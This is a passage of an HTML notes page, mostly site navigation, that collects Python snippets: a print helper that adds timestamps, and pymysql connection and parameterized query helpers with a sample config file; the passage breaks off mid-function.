</a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#http-servergit-pull\" class=\"md-nav__link\">\n    HTTP Server自动git pull\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#print\" class=\"md-nav__link\">\n    print的时候顺带带上时间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysql\" class=\"md-nav__link\">\n    连接mysql批量插入、查询\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    大小写不敏感字典\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mpms\" class=\"md-nav__link\">\n    mpms多线程下每个线程单独变量\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dict_add_list\" class=\"md-nav__link\">\n    将值存入字典中的列表 dict_add_list\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#aes\" class=\"md-nav__link\">\n    使用AES加密字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-mn\" class=\"md-nav__link\">\n    Python画图 上方颜色，然后M*N个小图\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zipc\" class=\"md-nav__link\">\n    从一系列zip文件中提取C代码\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    在一批文本中查找可能的密钥\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#http-servergit-pull\" class=\"md-nav__link\">\n    HTTP Server自动git pull\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"gist\">gist 记录一些代码片段<a class=\"headerlink\" href=\"#gist\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"print\">print的时候顺带带上时间<a class=\"headerlink\" href=\"#print\" title=\"Permanent link\">&para;</a></h2>\n<p>使用这种方式的好处不仅是显示时间，而且可以很方便地将往屏幕输出改为写文件；更优雅的方式是用logging</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">time</span>\n<span class=\"k\">def</span> <span class=\"nf\">myprint</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"o\">**</span><span class=\"n\">kwargs</span><span class=\"p\">):</span>\n    <span class=\"n\">args</span> <span class=\"o\">=</span> <span class=\"nb\">list</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">)</span>\n    <span class=\"n\">args</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;[&quot;</span><span class=\"o\">+</span><span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">strftime</span><span class=\"p\">(</span><span class=\"s2\">&quot;%Y-%m-</span><span class=\"si\">%d</span><span class=\"s2\"> %H:%M:%S&quot;</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"s2\">&quot;] &quot;</span> <span class=\"o\">+</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">])</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"o\">**</span><span class=\"n\">kwargs</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>使用的时候就和print一样使用，可以传入多个参数</p>\n<div class=\"codehilite\"><pre><span></span><code>myprint(&quot;aha myprint&quot;, 666)\n</code></pre></div>\n\n<h2 id=\"mysql\">连接mysql批量插入、查询<a class=\"headerlink\" href=\"#mysql\" title=\"Permanent link\">&para;</a></h2>\n<p>config.py:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">MYSQL_DB</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;web&quot;</span>\n<span class=\"n\">MYSQL_USER</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;web&quot;</span>\n<span class=\"n\">MYSQL_PASSWORD</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;sEcret_strOng_passw0rd&quot;</span>\n<span class=\"n\">MYSQL_HOST</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;localhost&quot;</span>\n<span class=\"n\">MYSQL_PORT</span> <span class=\"o\">=</span> <span class=\"mi\">3306</span>\n</code></pre></div>\n\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">config</span> <span class=\"kn\">import</span> <span class=\"n\">MYSQL_HOST</span><span class=\"p\">,</span> <span class=\"n\">MYSQL_PORT</span><span class=\"p\">,</span> <span class=\"n\">MYSQL_USER</span><span class=\"p\">,</span> <span class=\"n\">MYSQL_PASSWORD</span><span class=\"p\">,</span> <span class=\"n\">MYSQL_DB</span>\n<span class=\"kn\">import</span> <span class=\"nn\">threading</span><span class=\"o\">,</span> <span class=\"nn\">pymysql</span><span class=\"o\">,</span> <span class=\"nn\">warnings</span><span class=\"o\">,</span> <span class=\"nn\">time</span>\n<span class=\"n\">thread_data</span> <span class=\"o\">=</span> <span class=\"n\">threading</span><span class=\"o\">.</span><span class=\"n\">local</span><span class=\"p\">()</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">db</span><span class=\"p\">():</span>\n    <span class=\"k\">global</span> <span class=\"n\">thread_data</span>\n    <span class=\"n\">conn</span> <span class=\"o\">=</span> <span class=\"n\">pymysql</span><span class=\"o\">.</span><span class=\"n\">connect</span><span class=\"p\">(</span><span class=\"n\">user</span><span class=\"o\">=</span><span class=\"n\">MYSQL_USER</span><span class=\"p\">,</span><span class=\"n\">passwd</span><span class=\"o\">=</span><span class=\"n\">MYSQL_PASSWORD</span><span class=\"p\">,</span><span class=\"n\">host</span><span class=\"o\">=</span><span class=\"n\">MYSQL_HOST</span><span class=\"p\">,</span><span class=\"n\">port</span><span class=\"o\">=</span><span class=\"n\">MYSQL_PORT</span><span class=\"p\">,</span><span class=\"n\">db</span><span class=\"o\">=</span><span class=\"n\">MYSQL_DB</span> <span class=\"p\">,</span><span class=\"n\">charset</span><span class=\"o\">=</span><span class=\"s1\">&#39;utf8&#39;</span><span class=\"p\">,</span><span class=\"n\">init_command</span><span class=\"o\">=</span><span class=\"s2\">&quot;set NAMES utf8mb4&quot;</span><span class=\"p\">,</span> <span class=\"n\">use_unicode</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span>\n    <span class=\"n\">thread_data</span><span class=\"o\">.</span><span class=\"vm\">__dict__</span><span class=\"p\">[</span><span class=\"s2\">&quot;conn&quot;</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">conn</span>\n    <span class=\"k\">return</span> <span class=\"n\">conn</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">runsql</span><span class=\"p\">(</span><span class=\"n\">sql</span><span class=\"p\">,</span> <span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"n\">onerror</span><span class=\"o\">=</span><span class=\"s1\">&#39;raise&#39;</span><span class=\"p\">,</span> <span class=\"n\">returnid</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">,</span> <span class=\"n\">allow_retry</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">):</span>\n    <span class=\"k\">global</span> <span class=\"n\">thread_data</span>\n    <span class=\"n\">conn</span> <span class=\"o\">=</span> <span class=\"n\">thread_data</span><span class=\"o\">.</span><span class=\"vm\">__dict__</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;conn&quot;</span><span class=\"p\">)</span>\n    <span class=\"k\">if</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">)</span><span class=\"o\">==</span><span class=\"mi\">1</span> <span class=\"ow\">and</span> <span class=\"nb\">isinstance</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">],</span> <span class=\"nb\">list</span><span class=\"p\">):</span>\n        <span class=\"n\">args</span> <span class=\"o\">=</span> <span class=\"n\">args</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span>\n    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">conn</span><span class=\"p\">:</span>\n        <span class=\"n\">conn</span> <span class=\"o\">=</span> <span class=\"n\">db</span><span class=\"p\">()</span>\n    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">open</span><span class=\"p\">:</span>\n        <span class=\"n\">conn</span> <span class=\"o\">=</span> <span class=\"n\">db</span><span class=\"p\">()</span>\n    <span class=\"n\">cur</span> <span class=\"o\">=</span> <span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">cursor</span><span class=\"p\">()</span>\n    <span class=\"k\">try</span><span class=\"p\">:</span>\n        <span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">ping</span><span class=\"p\">()</span>\n    <span class=\"k\">except</span><span class=\"p\">:</span>\n        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;conn.ping() failed, reconnect&quot;</span><span class=\"p\">)</span>\n        <span class=\"n\">conn</span> <span class=\"o\">=</span> <span class=\"n\">db</span><span class=\"p\">()</span>\n    <span class=\"k\">try</span><span class=\"p\">:</span>\n        <span class=\"k\">with</span> <span class=\"n\">warnings</span><span class=\"o\">.</span><span class=\"n\">catch_warnings</span><span class=\"p\">():</span>\n            <span class=\"n\">warnings</span><span class=\"o\">.</span><span class=\"n\">simplefilter</span><span class=\"p\">(</span><span class=\"s2\">&quot;ignore&quot;</span><span class=\"p\">)</span>\n            <span class=\"n\">cur</span><span class=\"o\">.</span><span class=\"n\">execute</span><span class=\"p\">(</span><span class=\"n\">sql</span><span class=\"p\">,</span> <span class=\"n\">args</span><span class=\"p\">)</span>\n    <span class=\"k\">except</span> <span class=\"n\">pymysql</span><span class=\"o\">.</span><span class=\"n\">err</span><span class=\"o\">.</span><span class=\"n\">OperationalError</span> <span class=\"k\">as</span> <span class=\"n\">e</span><span class=\"p\">:</span>\n        <span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">commit</span><span class=\"p\">()</span>\n        <span class=\"n\">cur</span><span class=\"o\">.</span><span class=\"n\">close</span><span class=\"p\">()</span>\n        <span class=\"k\">if</span> <span class=\"n\">allow_retry</span> <span class=\"ow\">and</span> <span class=\"p\">(</span><span class=\"s2\">&quot;Lost connection to MySQL&quot;</span> <span class=\"ow\">in</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">e</span><span class=\"p\">)</span> <span class=\"ow\">or</span> <span class=\"s2\">&quot;MySQL server has gone away&quot;</span> <span class=\"ow\">in</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">e</span><span class=\"p\">)):</span>\n            <span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">close</span><span class=\"p\">()</span>\n            <span class=\"n\">conn</span> <span class=\"o\">=</span> <span class=\"n\">db</span><span class=\"p\">()</span>\n            <span class=\"k\">return</span> <span class=\"n\">runsql</span><span class=\"p\">(</span><span class=\"n\">sql</span><span class=\"p\">,</span> <span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"n\">onerror</span><span class=\"o\">=</span><span class=\"n\">onerror</span><span class=\"p\">,</span> <span class=\"n\">returnid</span><span class=\"o\">=</span><span class=\"n\">returnid</span><span class=\"p\">,</span> <span class=\"n\">allow_retry</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\n        <span class=\"k\">else</span><span class=\"p\">:</span>\n            <span class=\"k\">raise</span>\n    <span class=\"k\">except</span><span class=\"p\">:</span>\n        <span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">commit</span><span class=\"p\">()</span>\n        <span class=\"n\">cur</span><span class=\"o\">.</span><span class=\"n\">close</span><span class=\"p\">()</span>\n        <span class=\"k\">if</span> <span class=\"n\">onerror</span><span class=\"o\">==</span><span class=\"s2\">&quot;ignore&quot;</span><span class=\"p\">:</span>\n            <span class=\"k\">return</span> <span class=\"kc\">False</span>\n        <span class=\"k\">else</span><span class=\"p\">:</span>\n            <span class=\"k\">raise</span>\n    <span class=\"k\">if</span> <span class=\"n\">returnid</span><span class=\"p\">:</span>\n        <span class=\"n\">cur</span><span class=\"o\">.</span><span class=\"n\">execute</span><span class=\"p\">(</span><span class=\"s2\">&quot;SELECT LAST_INSERT_ID();&quot;</span><span class=\"p\">)</span>\n        <span class=\"n\">result</span> <span class=\"o\">=</span> <span class=\"nb\">list</span><span class=\"p\">(</span><span class=\"n\">cur</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">][</span><span class=\"mi\">0</span><span class=\"p\">]</span>\n    <span class=\"k\">else</span><span class=\"p\">:</span>\n        <span class=\"n\">result</span> <span class=\"o\">=</span> <span class=\"nb\">list</span><span class=\"p\">(</span><span class=\"n\">cur</span><span class=\"p\">)</span>\n    <span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">commit</span><span class=\"p\">()</span>\n    <span class=\"n\">cur</span><span class=\"o\">.</span><span class=\"n\">close</span><span class=\"p\">()</span>\n    <span class=\"k\">return</span> <span class=\"n\">result</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">tags_tagname2ids_set</span><span class=\"p\">(</span><span class=\"n\">tagname</span><span class=\"p\">):</span>\n<span class=\"w\">    </span><span class=\"sd\">&quot;&quot;&quot;</span>\n<span class=\"sd\">    select查询示例</span>\n<span class=\"sd\">    返回包含标签tagname的帖子id集合</span>\n<span class=\"sd\">    &quot;&quot;&quot;</span>\n    <span class=\"n\">sql</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;select topicid from tags where tagname=</span><span class=\"si\">%s</span><span class=\"s2\">&quot;</span>\n    <span class=\"n\">sqlresult</span> <span class=\"o\">=</span> <span class=\"n\">runsql</span><span class=\"p\">(</span><span class=\"n\">sql</span><span class=\"p\">,</span> <span class=\"n\">tagname</span><span class=\"p\">)</span>\n    <span class=\"k\">return</span> <span class=\"nb\">set</span><span class=\"p\">([</span><span class=\"n\">i</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">sqlresult</span><span class=\"p\">])</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">usersettings_write_bool</span><span class=\"p\">(</span><span class=\"n\">userid</span><span class=\"p\">,</span> <span class=\"n\">username</span><span class=\"p\">,</span> <span class=\"n\">settingname</span><span class=\"p\">,</span> <span class=\"n\">settingvalue</span><span class=\"p\">):</span>\n<span class=\"w\">    </span><span class=\"sd\">&quot;&quot;&quot;</span>\n<span class=\"sd\">    replace查询示例</span>\n<span class=\"sd\">    写入用户配置信息至usersetting表</span>\n<span class=\"sd\">    返回bool</span>\n<span class=\"sd\">    &quot;&quot;&quot;</span>\n    <span class=\"n\">sql</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;replace into usersettings values (</span><span class=\"si\">%s</span><span class=\"s2\">, </span><span class=\"si\">%s</span><span class=\"s2\">, </span><span class=\"si\">%s</span><span class=\"s2\">, </span><span class=\"si\">%s</span><span class=\"s2\">)&quot;</span>\n    <span class=\"k\">try</span><span class=\"p\">:</span>\n        <span 